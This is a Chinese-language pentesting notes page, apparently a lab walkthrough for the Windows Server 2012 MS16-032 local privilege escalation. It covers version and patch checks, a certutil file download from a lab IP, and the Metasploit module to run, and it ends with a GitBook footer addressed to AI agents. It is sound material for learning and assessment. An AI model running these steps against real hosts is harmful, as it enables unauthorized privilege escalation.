> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/kernel-exploitation/windows-server-2012-kernel-exploitation.md).

# Windows Server 2012 - MS16-032

MS16-032 是一个与 Secondary Logon 服务相关的本地提权漏洞。其可利用性取决于具体的 Windows 版本、架构以及已安装的补丁。

## 检测

```powershell
systeminfo
```

将版本与已知的漏洞利用参考进行比较：

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits>" %}

{% embed url="<https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-032>" %}

## 确认补丁状态

导出 `systeminfo` 并在运行模块之前，将已安装的 KB 与可信的漏洞利用建议工具进行比较。

```cmd
systeminfo > C:\Windows\Temp\systeminfo.txt
wmic qfe list brief
```

```bash
python3 wes.py systeminfo.txt --exploits-only
```

## 传输

```bash
python3 -m http.server
```

```cmd
certutil.exe -f -urlcache -split http://10.10.14.12:8000/ms16-032-check.ps1 ms16-032-check.ps1
```

<figure><img src="/files/a1f9a63e2230c07253473803d27c79626d6c6874" alt="MS16-032 validation material transferred to Windows Server 2012"><figcaption></figcaption></figure>

## 利用

Metasploit 模块：

```
exploit/windows/local/ms16_032_secondary_logon_handle_privesc
```

<figure><img src="/files/978e83cdbc0ef0a2166375f145852751b796bc01" alt="MS16-032 Metasploit module" width="563"><figcaption></figcaption></figure>

配置活动会话、架构和目标选项，然后仅在确认主机兼容后再运行该模块。

<figure><img src="/files/581af7a2b6fdcd42aad4b660549083824dedbff1" alt="MS16-032 module configuration"><figcaption></figcaption></figure>

<figure><img src="/files/324a088a3b2b5a96bd1f48c93eeed40d141d90fe" alt="Privileged session after MS16-032 exploitation"><figcaption></figcaption></figure>

## 关键要点

* 始终验证版本、架构和补丁级别。
* 内核漏洞利用程序很脆弱；在实验室中测试后，再将其用于评估中。
* 通过应用相关的 Microsoft 安全更新进行修复。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/windows-vulnerabilities/kernel-exploitation/windows-server-2012-kernel-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.